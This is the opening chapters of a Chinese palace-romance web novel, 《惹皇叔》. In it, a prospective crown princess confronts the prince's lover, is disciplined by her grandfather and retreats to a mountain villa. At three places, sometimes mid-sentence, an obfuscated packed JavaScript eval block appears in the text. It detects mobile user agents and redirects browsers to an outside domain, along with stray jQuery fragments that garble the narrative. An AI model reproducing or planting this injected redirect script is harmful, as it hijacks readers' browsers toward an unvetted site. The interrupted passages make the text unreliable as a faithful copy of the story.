《惹皇叔》 1. 第 1 章 岁暮,大雪才止,重华殿的歇山顶染着霜白,仿佛水粉褪了色,檐角外起了风,回廊处寒意犹在。 但是,今日皇室在此举办烧尾宴,即使隆冬也抵不住这繁华如火。 殿堂高阔,珐琅九曲通景屏风隔开东西,示男女分席之意,两侧立着十二尊巨大的兽炉,龙涎香混合着椒花的的辛辣,宛如山岚云雾,熏人欲醉。 傅棠梨坐得久了,觉得胸口发闷,有些喘不过气来,但她的腰肢依旧挺得笔直,下颌矜持地抬起,显得比任何人都优雅端庄。 此时笙歌已酣,宴席却未开场,贵人们都在殿中等候,只因淮王未至。 元延帝故意露出了不悦的神情,对诸大臣道:“可恨竖子无信,朕昨日再三叮嘱,他仍姗姗来迟,待稍后,定要罚他。” 淮王是元延帝的胞弟,执掌重兵,为元延帝征伐四海,骁勇善战,天下莫不能敌,元延帝爱他甚切,今日这烧尾宴,便是为了庆贺淮王平叛南诏之乱而设,故而正主不到,连元延帝也要耐着性子等他。 大臣们都明白帝王的心意,纷纷出言附合:“陛下仁爱,淮王确实不该如此,该罚、该罚,少说十杯。” 元延帝大笑,堂下丝竹声再起,左右应和。 看样子还有的等。 傅棠梨不动声色地看了看四周,今日所来皆为显赫权贵,如她这般年轻的女郎不过陪在末席,大约无人注意。 她终于耐不住殿中浓烈的香味,和身边的女史低声交代了两句,起身走了出去。 出了殿门,冬日的风扑面而来,冰冷刺骨,却吹散了那股说不出的黏腻气息,让傅棠梨瞬间精神了一些。 候在殿外的尚宫看见了,过来恭敬地问道:“傅娘子何往,可要我遣人伺候?” 尚宫是有品阶的女官,等闲贵女还入不了她的眼,但尚书令傅大人家的二娘子傅棠梨却不等闲。 傅棠梨温婉柔顺,贞静娴雅,是长安城出了名的贤德淑女,不久前元延帝才颁下圣旨,钦定她为未来的太子妃,这么一来,尚宫怎能不殷勤。 傅棠梨略一欠身,柔声回道:“多谢姑姑,不须劳烦。” 她丽质天成,颜若舜华,行止矜庄雅致,眸中带着三分笑意,恰似明月清辉。 尚宫女官常年服侍内庭贵人,最重礼仪规矩,对这般端庄守重的小娘子自是欢喜,又存心讨好,当下笑了起来,指了指东面:“我适才见太子殿下出来,说要去太液池,傅娘子可去那边寻他。” 尚宫女官显然会错了意思,但傅棠梨不想多做分辩,反而神态自若地致了谢意,依言往太液池那边去了。 待到走开,折过影壁,寻思着那边看不见她了,傅棠梨才慢悠悠地转了个方向,太子既说在太液池,那她离远点好了,免得迎头撞见,彼此不熟,落得尴尬。 昨夜刚刚下过一场雪,空气里还飘浮着白色的雾气,四处的玉树琼枝都作了烟萝。 今日重华殿设宴,宫人大多在那边伺奉,偶有内侍路过,见到傅棠梨,不过远远地行个礼就走了,傅棠梨独自在苑中闲步,偷得一时清静,很是惬意。 转过一处回廊,前面有一处嶙峋的假山,看着十分玲珑有趣。 傅棠梨刚刚走近几步,却听见假山后面有人在说话。 “……如今这般境地,合该两不相见才好,何苦又来招惹我?” 那是一个甜美娇柔的声音,虽是说着埋怨的话,却妩媚得要滴出水来,也不知谁家小娘子躲在这里和情郎撒娇。 哦,真不巧。傅棠梨轻手轻脚地转了个身,想要离去。 但听那女子又道:“那傅家二娘子温柔又贤惠,既与殿下有了婚约,便是极好,殿下自去哄她欢心,我能有什么话说。” 哦,这可巧了。傅棠梨马上停住了脚步,侧耳聆听。 “傅氏女是父皇和母后做主聘下的,孤违逆不得,孤见过她一面,不过尔尔,如何能与卿卿比拟?” 这世间能够自称孤的,只有太子赵永嘉。 太子面前,那卿卿也不敢拿捏太过,此时听他曲意温存,顺势收了小性子,娇滴滴地道:“傅二娘子素有美名,是吾辈闺阁典范,我拿什么和她比呢,不过是殿下哄我罢了。” 赵永嘉叹息了一下:“孤几番欲和父皇提起卿卿之事,只怕母后不悦,一时举棋不定,才让傅家抢了先机,着实可恼。卿卿勿忧,来日方长,孤自会给你一个安排。” 青天大白日的,这都是些什么话?傅棠梨忍不住向前两步,刻意把脚步放得重了一些。 “谁?谁在那里?” 卿卿的声音明显慌乱起来,然后便有一阵细微而琐碎的动静,好似有人匆匆忙忙地拾掇着什么。 “何人在此无礼?”赵永嘉从假山后面转出,带着一脸怒意,沉声呵斥,“还不退……” 待他看清眼前是何许人,那最后一个字就卡在唇边,生生吐不出来了。 傅棠梨规规矩矩地立在那里,双手叠于胸前,颔首曲膝,盈盈一拜:“见过太子殿下。” 她举止优雅,姿态从容,好像方才什么都没听到。 赵永嘉生性温良,是个恺悌君子,虽贵为太子,遇到这种场景,还是几分心虚的,他不太自在地咳了一声:“傅娘子不必多礼。” 那唤作卿卿的女子原本害羞地躲在后面,听及“傅娘子”一语,立即走了出来,她的声音还是那么娇弱,好似受到了莫大的惊吓:“不知傅家姐姐过来,是婉卿这厢失礼了。” 傅棠梨瞥了她一眼,认出了这个是工部尚书林大人家的千金林婉卿。 林婉卿仙姿玉貌,素有艳绝长安之名,此时她眸中犹有泪光点点,真真我见犹怜。 林家出了个贵妃娘娘,颇得圣宠,份位仅在沈皇后之下,林家的女子,自然不为沈皇后所喜,无怪乎赵永嘉方才言及“只怕母后不悦”。 可怜,郎有情,妾有意,中间却夹了她这么一个恶人,硬生生拆散了一对鸳鸯。傅棠梨不胜唏嘘,面上却不显,只温和地回道:“林娘子安好。” 这么大冷的天,亏得林婉卿只穿了织锦海棠纹缎裳,虽显身段婀娜,估计不太御寒,此时娇躯微颤,有意无意地往赵永嘉身边靠去,怯生生地道:“方才我与太子殿下不过在这里略说两句话,并无旁的什么意思,傅姐姐可不要怪罪于我。” 赵永嘉果然略一皱眉,不着痕迹地抬手,把林婉卿护在身后:“傅娘子怎知孤在此处?” 傅棠梨心里直叹晦气,语气却愈发温顺:“闲庭信步,偶尔至此,扰了殿下雅兴,甚为不安,殿下与林娘子且畅谈,妾告退。” 她居然不惊也不怒,反而大方又体贴,真真不负贤良之名。 林婉卿发力没有着落,不禁呆了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647404|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵永嘉听着,却觉得一口气堵在胸口,有些悻悻然,他多看了傅棠梨两眼,试图看穿她的心思。 她神情温雅,容妆工整,眉间花钿精致,发髻高盘,鬓上斜插一只步摇,一点儿不颤,没有分毫不妥之处。 虽然也是个标致的美人,却如同壁画上的观音,一派宝相庄严,让人生不出亲近之意,浑然不似林婉卿那般柔情绕指,惹人怜惜。 赵永嘉想及此处,心又冷了起来,生硬地道:“傅娘子先下去吧。” 傅棠梨低头,敛了衣袖,安静地后退。 “且慢。”赵永嘉踌躇了一下,又叫住了她,“你……” 恰在此时,天上倏然传来一声鹰鸣,嘹亮而尖锐。 赵永嘉露出了惊异的神色,抬头望去。 一只巨大的白色鹰隼从云端飞来,低低地掠了过去,它翅膀带起的疾风摇动了树枝,枝头积雪簌簌而落。 林婉卿吓得脸色煞白,捂住了嘴,发出一声短促的惊叫。 “那不是皇叔的海东青吗。”赵永嘉脱口而出,“莫非皇叔到了?” 傅棠梨心里一动,抬眼看了过去。 一个男人从前方通道经行而过,他一袭戎装,外面罩了玄黑暗金大氅,龙骧虎步,动时有风,大氅翻飞,愈发显得他高大英武,如山如岳。 两列卫兵紧随其后,着明光甲、佩金错刀,皆魁梧彪壮,步伐铿锵有声,透出锐利的杀伐之气。 白色的鹰隼又发出一声长长的鸣叫,在上空盘旋了一圈,猛地俯冲而下。 那男人脚步不停,抬起了手。 白鹰“扑棱棱”地敛起翅膀,稳稳地停在那男人的手臂上,昂头四顾。 赵永嘉顾不上其他,只对傅棠梨说了一句:“今日之事,不可与他人提及。” 言罢,他匆匆地迎向那边,唤了一声:“皇叔。” 先帝有五子三女,只有当今元延帝与淮王乃冯太后所出的嫡子,能让太子这般殷勤相待的,也只有淮王了。 赵永嘉露出热切之色,飞快地赶上前,走到淮王身边:“皇叔可算来了,父皇已经等了许久,快来,孤和皇叔一同过去。” 淮王见赵永嘉过来,并没有停下脚步,只是略回头,颔首而已。 赵永嘉贵为太子,龙章凤姿,生得如玉树临风一般,但此刻在淮王面前,却显得体态单薄又弱小,足见淮王身量之健硕。 隔得太远了,傅棠梨看不清淮王的容貌,但觉得他的轮廓格外刚硬,他只是略一侧首,便有一阵肃杀之气压了过来,甚过这寒冬的凛冽。 她不敢多看,低下了眉眼,待太子与淮王走远了,才轻轻地呼出一口气,举步走开。 “傅姐姐且慢行。”林婉卿碎步跟上,看似忧心,“姐姐是不是生气了,怎么一句话也不和我说呢。” 傅棠梨目视前方,款款而行,恍若未闻。 林婉卿捏了帕子捂着嘴,一幅弱不禁风的模样,眼中却露出讥讽之色:“太子不懂姐姐的好,居然说你装腔拿调,矫揉造作,如同死鱼一般,这话也未免过了,我听了都替姐姐委屈,其实依我看来,姐姐这般贤惠通达的,娶回去做正妻才好呢。” 傅棠梨终于转过身来,面对着林婉卿,点了点头,柔声道:“嗯,好,很好。” 她突然撩起裙裾,狠狠踢出一脚,将林婉卿一下踹倒在地。 2. 第 2 章 林婉卿身娇体弱,平日在赵永嘉面前,走一步还要喘三下,如今猝不及防,被傅棠梨踢了一下,何况料不到傅棠梨那一脚的力气那般大,她“嗳”了一声,摔了个四脚朝天,好不狼狈。 “你……”林婉卿眼冒金星,半天才缓过劲来,她疼得眼泪直流,一时简直无法置信,哭着道,“傅棠梨,你怎敢如此?” 傅棠梨双手笼在袖中,慢条斯理把鞋底在地上蹭了蹭,淡淡地道:“什么东西,脏了脚。” 上林苑的内侍总管适才见那只白鹰飞过,便知淮王在此,急急迎上前去,没见到淮王,却听见林婉卿的哭泣声,忙带人过来:“这边怎么了?” 林婉卿见有人来,索性伏在地上,一面哀哀啜泣,一面大声道:“来人啊,快救救我。” 这边两位女郎,一位是傅相爷的孙女,未来的太子妃,一位是林贵妃的内侄女,时常出入宫廷,内侍总管两个都认得,都是不能怠慢的主儿,他急忙陪着笑,命宫人去搀扶林婉卿。 “林娘子可摔疼了?快快起来再说。” 林婉卿扶着宫人的手,颤颤巍巍地起身,她发髻乱了、衣裳也脏了、手掌蹭破了一块皮,火辣辣地疼,眼泪如断了线的珠子一般落下:“傅姐姐怎的如此狠心,把我踢得跌倒,今日我定要向姐姐讨个说法。” 内侍总管闻得此言,将疑惑的目光转向傅棠梨。 傅棠梨对着内侍总管一欠身,轻声细语道:“雪地路滑,林娘子好好走着,忽然自己跌倒,吓我一跳,正不知如何是好,幸得公公援手,我这里替林娘子先谢过了。” 林婉卿万万料不到傅棠梨竟如此说,她一时情急,忘了她的娇柔作态,眼睛都瞪圆了:“你胡说,分明是你踢了我一脚,怎么又不肯认?” 傅棠梨“咦”了一声,眉头蹙了起来,露出担忧之色:“林娘子说什么呢,好端端的,我踢你作甚?可怜见的,你莫不是把脑袋磕到了,犯迷糊起来。” 内侍总管听了点头,那是,元延帝金口玉言,称傅家二娘子“静贞毓德,持躬淑慎,有徽柔之质”,如此端庄淑贤的女郎,怎么会动粗呢? 他忙接口道:“庭中路滑,是奴婢失责,给林娘子请罪。” 傅棠梨又欠身,温雅地道:“这里劳烦公公,容我先走一步。” 内侍总管还礼不及:“傅娘子客气。” 林婉卿自认是个会装的,没曾想遇到一个比她更能装的,她怒指傅棠梨,手都发抖:“分明是你蓄意伤我,装什么好人?” 傅棠梨闻言,不过脚步略顿了一下,回眸轻轻一笑,那神情,和方才一模一样,云淡风轻,对于林婉卿的纠缠,她完全不再理会了,施施然走开,不多时,回到了重华殿中。 殿中宴席已开,宫人们裙裾摇曳,往来伺奉其中,酒香四溢,歌舞曼妙,谈笑喧哗。 傅家的三夫人杨氏在那里坐立不安,见了傅棠梨,急忙贴过来,亲昵地唤她的乳名:“雀娘,见到你妹妹了吗,她怎么没和你一块儿回来?” 傅棠梨举起茶盏,抿了一口,温顺地回道:“母亲,我未曾见到她。” 杨氏焦躁地皱起眉头:“这孩子,刚刚跟在你后面出去,这会儿还不见回来,该不会在外头惹事吧?” 正说到这里,傅芍药也回来了,小碎步跑着,偷偷从边上绕过来。 杨氏气不打一处来,待傅芍药坐定,忍不住埋怨道:“这是什么场合,容得你乱跑,快给我安份些儿。” 傅芍药不过比傅棠梨小了一岁,却是截然相反的性子,俏皮活泼,她撒娇的时候,显得尤其天真:“母亲偏心,怎不说二姐姐乱跑,偏来责备我。” 杨氏在下面拧了傅芍药一把,假意嗔道:“雀娘多懂事,从来就没让人操过半分心,你比什么。” 傅棠梨不是杨氏亲生的,打小也不曾养在杨氏身边,杨氏一个做继母的,不过在人前做个面子,哪里愿意花心思管她,可恨亲生的这个不领情,还要顶嘴。 傅芍药“哼”了一声,似笑非笑地瞥了傅棠梨一眼:“那也说不准,平日里懂事的人,若是胡闹起来,可厉害多了。” 她这话有点意思,傅棠梨放下茶盏,瞥了这个妹妹一眼。 但傅芍药马上将目光转开了,装做若无其事地和杨氏说笑:“淮王殿下来了吗?方才那些大人们不是说要罚他十杯酒吗,哪个敢上去罚了?” 淮王铁血铁腕,杀伐冷酷,世人皆畏其如修罗,轻易不敢与之言笑,若有人敢上前罚酒,那是真真胆色非凡。 杨氏摇了摇头:“淮王方才过来,连圣上叫他喝酒都没有从命,说是什么不沾荤酒,喝了三杯茶,人就走了,好生费解。” 更费解的是,元延帝不意为忤,反而多有褒勉,淮王走后,笙歌宴饮,依旧愉悦。 杨氏想起关于淮王的种种传闻,隐约觉出不对味来,但这种事情,她不宜和女儿多说,含含糊糊地一句带过罢了。 好在那厢舞乐大作,很快将傅芍药的心思吸引走了,没有继续追问。 —————————— 宴罢,各自归家。 傅棠梨才回到房中,贴身的两个婢女迎了上来,先把暖手炉塞了过来,又忙着给傅棠梨换衣裳。 黛螺稍微年长,矜持些,只笑着问了一句:“娘子,今儿的烧尾宴热闹吗?” 胭脂却是个活泼的,挤眉弄眼地道:“娘子今日见到太子了吗?可曾和太子说上两句话。” 黛螺和胭脂是外祖母韩老夫人当初亲自为傅棠梨挑选的,从小到大伺候着,一直跟着傅棠梨从渭州来到长安,情分自然不同一般。 傅棠梨在这两个婢女面前从来不端着,她一下没了个正形,像只没骨头的猫,软绵绵地歪在软榻上,“呸”了一声:“说什么话?多看他一眼我都觉得眼睛要瞎。” 黛螺胭脂面面相觑,收起了笑容,小心翼翼地问道:“怎么,太子有什么不妥吗?” 傅棠梨还来不及细说,外面进来一个嬷嬷,道:“二娘子,老太爷那边来了个人,叫您过去书房一趟。” 才到家,祖父就找她,不知何事。 傅棠梨心里打了个突,只好又起来,让黛螺胭脂给她重新穿上外面的袄裙,走了出去。 到了主院书房,里面的光影有些暗,上等龙脑混合着松墨的味道,沉沉地压了过来,浓郁近乎腐朽,傅方绪正正地坐在上首,面色凝重,喜怒莫辨。 傅芍药站在一旁,神情仿佛有几分得意。 傅棠梨规规矩矩地上前给祖父请安。 傅方绪位极人臣,自有威仪,当他严肃起来的时候,没有半分祖父的慈爱,连眼神都是冰冷的,直截了当地问道:“方才燕娘和我说,你在上林苑中撞见太子和林家的女郎说话,一时气愤,把林家女郎踢倒在地,可有此事?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647405|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >傅棠梨面色淡淡的,瞥了傅芍药一眼,干脆地承认:“确有此事。” 傅方绪的眉头皱了起来:“燕娘说她那时离得有些远,听不清楚话,来,你告诉祖父,为何如此?” 傅棠梨敛身,神情从容:“林娘子与太子两情相悦,视我为肉中尖刺,言语中对我百般轻慢,我不能忍。” 傅方绪用严厉的目光逼视傅棠梨,沉声道:“你为世家贵女,今日却学市井泼妇状,若为外人所知,置名声于何地?” 傅棠梨平静地道:“圣上曾当众人面,称誉我‘静贞毓德,持躬淑慎’,是以淑女无双,堪为太子良配,若说我会动粗,那必然是冤枉我。林娘子自己晕了头、花了眼,当时在场宫人众多,无一人信她,纵是她告到太子面前去,太子也不过当她争风吃醋,较真不得。” “祖父,您看。”傅芍药听得目瞪口呆,实在忍不住,在旁边大声道,“二姐姐如此无赖,竟全然不知悔过。” 傅芍药这一出声,又把傅方绪的目光引了过去,他点了点头:“燕娘,你很好,时时刻刻关心你姐姐,是个贴心的好孩子。” 傅芍药再傻,也听出祖父的话里有些不对劲,她缩了缩脑袋,声音小了下去,讪讪地道:“我是怕二姐姐一时冲动,败坏我们傅家的门风,只望祖父好好教导她,叫她迷途知返,这也是为了她好。” “燕娘,祖父这话今日只说一次,你好好听着。”傅方绪沉下了脸,毫不容情地道,“雀娘既选为太子妃,来日或可母仪天下,祖父年纪已经大了,我们傅家的荣光将系于她一人之身,你是她嫡亲妹妹,当爱她、敬她,而不应如今日这般,暗地中伤于她。” 傅芍药不太服气,但不敢和祖父争辩什么,只撅着嘴道:“哦,我知道了。” “你知道什么?”傅方绪猛地一拍桌案,须发皆张,厉声道,“你尾随雀娘,心怀不轨,此其一,见雀娘为人所辱,不怒反喜,此其二,归家后,在长辈面前煽风点火,此其三,种种桩桩,足见你鼠目寸光,蠢且恶毒,若不严加管束,来日必成祸患。” 傅芍药被祖父这一番训斥,羞得眼泪都滴了下来,她满心愤恨,涨红了脸,结结巴巴地道:“是、是……燕娘知错了,日后再不敢了。” 傅方绪抬高声音,朝门外叫了一声:“傅全!” 傅全是多年的老管事,更是傅方绪身边最得用的长随,此事听得召唤,赶紧进来:“老太爷有何吩咐。” 傅方绪指了指傅芍药,道:“三娘子最近火气大,行事有些焦躁,傅全,你带三娘子去祠堂,叫她在里面多抄些佛经,好好修养心性,一个月后再出来。” 傅芍药如遭雷劈,万万料不到竟有如此后果,她“哇”地哭了起来:“不要,祖父,我错了,您就饶过……” “闭嘴!”傅方绪一声厉喝,打断了傅芍药的求饶,“多说一个字,家法伺候。” 傅芍药“嘎”的一声,惊恐地捂住了嘴。 自从二娘子被圣上钦定为太子妃后,老太爷变得格外慈祥,已经很久没有发过这么大的火了,今日不知怎的,一翻脸,又恢复了老样子。 傅全不敢接口,只能擦了擦汗,道了声“喏”。 待傅芍药被带下去后,傅方绪从座上站了起来,拿起书案上的戒尺,走到傅棠梨的面前:“把手伸出来。” 傅棠梨似乎早已料定会如此,她神色不动,伸出手去。 3. 第 3 章 傅方绪抬手,“啪啪啪”三下,戒尺结结实实地打在傅棠梨的手心。 那戒尺是湘妃竹做的,宽寸许,足有两分厚,祖父毫不客气,打得又重又狠,傅棠梨的肌肤又极娇嫩,手心立即出现了几道红印子,高高地肿了起来,还渗出了一点血丝。 她倒抽了一口气,脸色发白,却咬住了嘴唇,硬是一声不吭。 傅方绪神色沉静:“雀娘,你说说看,祖父为何责罚你?” 傅棠梨垂下眉目,语气恭顺又平静:“我盲目自大,行事未持谨慎之心,不端之举为他人所窥见,我认罚。” 傅方绪冷笑了一声,声音愈发严厉:“你说的,不过糊弄外人的话罢了,祖父会不懂吗,这事情,说到底,是你对太子不满、对这桩婚事不满,才有今日莽撞之举,若长此以往,导致日后琴瑟不和,东宫不宁,那就是辜负圣恩、藐视天威,轻者自身不保,重者祸及满门,你还不知警醒?” 傅棠梨沉默良久,慢慢地把手收回来,藏到袖子里,面无表情地道:“是,多谢祖父提点,我错了,我既许给太子,自当以他为天,从此不再敢有不敬之念。” 傅方绪的面色开始和缓了下来:“今日事,可一不可再,你虽有贤良名声,也难保有小人作祟,务必谨慎。” 沉吟了片刻,他又语重心长地道:“你这性子过于方正,不似寻常女儿家婉转温柔,这点不讨喜,倒是那林氏娘子究竟有何长处,竟能独得太子偏爱,你很该学学才是。” 傅棠梨的手缩在袖子里,死死地攥住了手心,指甲掐到了方才的伤口,指尖湿漉漉的。 她却若无其事,反而露出一种微笑的表情:“祖父多虑了,我是什么样的人,祖父还不知道吗?区区赵永嘉而已,我若想拿下他,不过轻而易举,却也不急于一时,且待来日再见分晓吧。” 傅方绪这才颔首而笑。 —————————— 才一会儿工夫不见,娘子的手居然被打成那样,胭脂难过得要命,哭哭啼啼围着傅棠梨转来转去:“娘子,疼不疼,疼的话您也别忍住,哭一哭兴许会好些。” 回到自己房中,傅棠梨说话也随意些,她摇了摇头:“这家里没人肯真心疼我,哭什么,哭给谁看?” 黛螺一边替傅棠梨抹药,一边心酸地道:“若是老夫人还在,断不会让娘子受这般委屈。” 黛螺口中的老夫人是傅棠梨的外祖母,渭州西宁伯府的韩老夫人。 韩老夫人一手把傅棠梨养大,打小千娇百宠地捧着,如同掌心明珠一般。 可惜两年前韩老夫人过世,现在当家的西宁伯是傅棠梨庶出的舅舅,隔了一层亲,不冷不热的,彼此都不自在,傅棠梨便自请回了长安。 傅棠梨方才还忍着,此时听见黛螺的话,却差点落泪,她飞快地抹了一下眼角,勉强笑道:“我有什么委屈,我来日是太子妃,风光一时无二,你别说浑话,免得叫外祖母在天上不安。” 正说到这,嬷嬷在外面传禀道:“娘子,三爷来了。” 廊下的小婢打起门帘,傅之贺走了进来,见黛螺在给傅棠梨的手上抹药,他也吃了一惊:“雀娘的手怎么了,跌伤了吗?” 傅棠梨起身,恭顺地低头:“女儿在祖父面前出言不逊,被祖父用戒尺责罚了。” “嘶。”傅之贺吸了一口冷气,“疼不疼?” “有点。”傅棠梨眼巴巴地看了父亲一眼。 傅之贺安慰她:“父亲幼时,也常被你祖父打手心,他老人家惯来如此,打过就算了,也无妨。” 他只是站在那里,口中说着话,没有再靠近一步。 傅棠梨眼里的光彩黯淡了下去。 “对了,雀娘,父亲正经和你商量个事儿。”傅之贺只问了一句傅棠梨手上的伤,便迫不及待地转了话题,“你妹妹被你祖父罚了关祠堂,你母亲去问了她,只说和你起了龌龊,惹得祖父不快。” 傅棠梨静静地不说话,用清澈的眼睛看着傅之贺。 傅之贺有些讪讪的,偏过头,不太敢看傅棠梨的眼睛,自顾自地道:“你看看,祖父如今最疼的就是你了,你去替燕娘求个情,早些把她放出来,可好?” 傅棠梨用指尖轻轻摸着自己手心,淡淡地道:“父亲既知道燕娘和我起了龌龊,那我心里必然是不快的,却还要我去替她说情,未免太过为难我了。” “雀娘。”傅之贺终于向前走了一步,他的手抬起了一下,似乎是想要摸一摸傅棠梨,但很快又放了下去,倒有些尴尬了。 “我知道燕娘日常对你这个姐姐不太恭敬,但你也体恤她一下,她母亲只生了她一个,我往日难免多疼她,这两年你回来了,我自然也疼你,她就是小性子,觉得你把父亲抢走了……” “是她抢走了我的父亲。”傅棠梨声音温柔,却断然阻住了傅之贺的话,“我才是先生下来的那个,她母亲和她一起抢走了我的父亲,我这苦主还没喊冤呢,怎么有人贼喊抓贼起来?” 傅棠梨一向温恭淑贤,对傅家上下秉礼执孝,没有说过一句重话,如今这般尖锐地提了出来,倒叫傅之贺呆了一下。 傅之贺年少时是出了名的美男子,长安贵女多有倾慕者,后来,他娶了西宁伯韩家的嫡女为妻,也算夫妻相宜。 可惜韩氏在生育女儿的时候难产而亡,傅之贺几乎为之心碎。 杨家娘子恰在那时趁虚而入,对傅之贺百般体贴安慰,傅之贺生性多情又软弱,深为感动,韩氏走后不到半年,他就续娶了杨氏为妻。 韩老夫人震怒,亲自从渭州赶来,将尚在襁褓中的外孙女抱走,傅家理亏,便连傅方绪也不好劝阻,如此,傅棠梨便在渭州长大,直到两年前才回到傅家。 傅之贺望着傅棠梨,想起了早逝的韩氏,他突然伤感万分,连眼眶都红了:“是,父亲错了,没有尽到养育之责,心里愧疚啊,你回来以后,也不太和父亲说话,父亲……父亲也不知道该怎么亲近你。” “我不怪父亲。”傅棠梨喃喃地道,“我只是……” 只是想要父亲多疼她一点而已。 傅之贺含泪点了点头:“雀娘是个极好孩子,一向大度,既如此,你也不要怪你妹妹,寻个机会,向你祖父好好说道说道,别让你妹妹吃那么大苦头。” “好了,父亲,我知道了。”到了这里,傅棠梨心灰意冷,已经完全不想再听下去了,她再次打断了傅之贺的话,“我过会儿去找祖父,替燕娘求情,您不必忧心。” 傅之贺十分欣慰,搓了搓手:“是吗,那可太好了。” 傅棠梨已经转过身去:“我手疼,想歇会儿,父亲请回吧。” 女儿如此说了,傅之贺不好再逗留,又交代了几句,依依不舍地走了。 待傅之贺一出去,傅棠梨马上转头,果断地吩咐婢女:“来,收拾一下,我这就去禀告祖父,我搬出去住段日子。” 娘子的话题跳得太快,胭脂傻傻的:“出去?去哪里?” 傅棠梨略一思索,道:“到城外的青华山,母亲在那上面不是有一个陪嫁的宅院吗,风景大约不错,我们过去散散心,哦,听说那宅院边上有座道观,我在出嫁前要为外祖母和母亲祈福,对了,名正言顺,妙得很。” 黛螺有些犯迷糊了:“夫人的那处院子,是夏日消暑用的,好几年没住过人了,大冷的天,去那上面作甚?” 傅棠梨“啐”了一声:“怎么着都强过呆在这家里,一团晦气,恰好祖父今日对我有补偿之意,他没有不允的,快走快走,我一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647406|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不想留。” 黛螺迟疑了一下:“娘子方才不是答应了三爷,要去老太爷面前替三娘子求情?” “哦,自然是骗他的。”傅棠梨理所当然地道。 —————————— 下了一夜的雪,簌簌的落雪声至拂晓方歇。 傅棠梨素有择席之癖,昨日刚搬到山间小院,睡不踏实,今儿起了个大早。 为着山中多蚊豸,这主人的卧房便设在了二楼上,架得格外高一些,她起床推窗,便见远处苍山负雪,云隐松柏,天光清静,这一小座宅院,粉墙青檐垂花柱,都似洗涤过一遍,不染尘埃。 她十分满意,越发觉得这是个好居所。 房间的四个角落里摆着紫铜炭盆,银丝白霜炭烧得很旺。傅府遣派过来粗使的奴仆和打杂的小婢子等七八个,另加一个有身份的管事孙嬷嬷跟随,这一众人等把二娘子伺候得十分周到,与在傅府一般无二。 黛螺犹自嫌弃,一边给娘子洗漱梳头,一边碎碎地念叨:“我就说这山上太冷,要冻着娘子,昨夜的雪下得多大啊,过会儿得叫人四处看看,别把瓦片压坏了。” 进来服侍的严婶子是韩家的老人,和她男人两口子一直替韩氏守着这座宅院,十几年没人来,如今好不容易等到小主人来住,赶紧要吹嘘一番。 “这山里,冬天固然冷一些儿,那股清爽气,在别处是没有的,往东边不到半里地,就是云麓观,道长们清修之所,可见这里是有仙气的。” 傅棠梨点头道:“我看也是,山中清静自然,比我们府里自在多了。” 严婶子得到鼓励,越发殷勤,指了指东边,道:“娘子,离这不远,就在道观后面,有一大片梅花林,听道长们说,有仙人居于其中,我偶尔路过,还曾听见仙人抚琴,娘子得空可以去转转,沾染几分仙气。” 听得傅棠梨笑了起来:“好,待我去瞧瞧,若得了仙丹什么的,拿回来也给你们吃几颗。” 既这么说着,早膳毕,傅棠梨便带着胭脂出门访仙去了。 走了一盏茶不到,果然见前方有一座道观,远远地望着,见其殿阁参差,檐瓦青苍,墙边透出一大簇花影子。 却在此时,又起了一点雪。 胭脂火急火燎地跑回去了,说要取伞来为娘子遮雪。 傅棠梨却觉得这雪零星一两点,下得甚妙,她独自信步,绕过宫台青石阶,转到道观后,走不多时,便有一大片白梅扑面而来。 香云堆积,上接青苍,下覆白雪,连成一片,不知花开何处。 傅棠梨一时为之惊叹,她快步走近去。 忽闻林中有琴声传来,调子低沉古拙,若断若续,在这山林中,带着空旷的回音。 傅棠梨想起严婶子所说“神仙”之语,好奇心起,循琴声而去。 至白梅深处,她拨开横在眼前的那枝梅,一声鹤唳传来,清且高亢,直冲云霄,她抬眼望去。 却见白梅树下,一席簟,一张琴,一男子独坐抚琴。 他做道士打扮,穿着一身碧城色的袍子,仙人以碧霞为城,那是一种极深的蓝,近乎夜幕,他的头发漆黑如鸦羽,一丝不苟地挽成高髻,以木簪横插,周遭覆盖梅与雪,而他是极浓的一抹水墨,天地间只余下了这么两色,黑白分明。 他的眉毛很长,几乎斜飞入鬓,他的眼睛清冷又明亮,似瀚海星辰,他信手弄弦,宽大的衣袖垂下,似要随风起。 一只白鹤停在他的身后,扬翅昂颈,发出一声清鸣,似与琴声相应和。 几疑天上白玉京,仙人结发授长生。 乱花迷人眼,傅棠梨屏住呼吸,又走了一步,想要看清一些。 耳畔突然传来一声尖锐的啼鸣,风声历历,从脑后袭来。 4. 第 4 章 傅棠梨骤然一惊,情急中低头俯身,试图避开,一个没稳住,“噗通”往前扑倒,一头栽在雪地里,狼狈不堪。 总算她手脚灵巧,慌乱之下勉强支起身子,往边上一滚,“笃”的一下,躲过了一记鸟喙的偷袭。 